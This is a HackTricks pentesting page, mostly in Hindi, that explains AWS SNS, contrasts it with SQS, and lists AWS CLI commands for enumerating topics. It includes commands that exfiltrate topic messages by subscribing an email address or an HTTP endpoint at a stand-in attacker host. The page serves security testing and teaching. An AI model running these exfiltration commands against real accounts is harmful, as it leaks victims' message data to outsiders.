AWS - SNS Enum

HackTricks को समर्थन दें

SNS

Amazon Simple Notification Service (Amazon SNS) को एक पूर्ण प्रबंधित मैसेजिंग सेवा के रूप में वर्णित किया गया है। यह एप्लिकेशन-टू-एप्लिकेशन (A2A) और एप्लिकेशन-टू-परसन (A2P) संचार प्रकारों दोनों का समर्थन करता है।

A2A संचार के लिए प्रमुख विशेषताओं में प्रकाशन/सदस्यता (pub/sub) तंत्र शामिल हैं। ये तंत्र विषयों को पेश करते हैं, जो उच्च-थ्रूपुट, पुश-आधारित, कई-से-कई मैसेजिंग को सक्षम करने के लिए महत्वपूर्ण हैं। यह सुविधा वितरित प्रणालियों, माइक्रोसर्विसेज, और इवेंट-चालित सर्वरलेस आर्किटेक्चर से जुड़े परिदृश्यों में अत्यधिक लाभकारी है। इन विषयों का लाभ उठाकर, प्रकाशक प्रणालियाँ विभिन्न प्रकार की सदस्य प्रणालियों को संदेश कुशलतापूर्वक वितरित कर सकती हैं, जिससे एक फैनआउट मैसेजिंग पैटर्न की सुविधा मिलती है।

SQS के साथ अंतर

SQS एक क्यू-आधारित सेवा है जो बिंदु-से-बिंदु संचार की अनुमति देती है, यह सुनिश्चित करते हुए कि संदेश एक एकल उपभोक्ता द्वारा संसाधित किए जाते हैं। यह कम से कम एक बार डिलीवरी प्रदान करता है, मानक और FIFO कतारों का समर्थन करता है, और पुनः प्रयास और विलंबित प्रसंस्करण के लिए संदेश प्रतिधारण की अनुमति देता है। दूसरी ओर, SNS एक प्रकाशन/सदस्यता-आधारित सेवा है, जो एक-से-कई संचार को सक्षम करती है, जिससे संदेशों को कई ग्राहकों को एक साथ प्रसारित किया जा सकता है। यह विभिन्न सदस्यता एंडपॉइंट्स जैसे ईमेल, एसएमएस, Lambda फंक्शंस, और HTTP/HTTPS का समर्थन करता है, और लक्षित संदेश वितरण के लिए फ़िल्टरिंग तंत्र प्रदान करता है। जबकि दोनों सेवाएं वितरित प्रणालियों में घटकों के बीच डिकपलिंग को सक्षम करती हैं, SQS कतारबद्ध संचार पर ध्यान केंद्रित करता है, और SNS इवेंट-चालित, फैन-आउट संचार पैटर्न पर जोर देता है।

Enumeration

# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>

# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt

# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com

# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

ध्यान दें कि यदि topic का प्रकार FIFO है, तो केवल SQS प्रोटोकॉल का उपयोग करने वाले सब्सक्राइबर का उपयोग किया जा सकता है (HTTP या HTTPS का उपयोग नहीं किया जा सकता)।

इसके अलावा, भले ही --topic-arn में क्षेत्र शामिल हो, सुनिश्चित करें कि आप --region में सही क्षेत्र निर्दिष्ट करें अन्यथा आपको एक त्रुटि मिलेगी जो यह संकेत देती है कि आपके पास पहुंच नहीं है लेकिन समस्या क्षेत्र की है।

Unauthenticated Access

AWS - SNS Unauthenticated Enum

Privilege Escalation

AWS - SNS Privesc

Post Exploitation

AWS - SNS Post Exploitation

Persistence

AWS - SNS Persistence

References

HackTricks को समर्थन दें

Last updated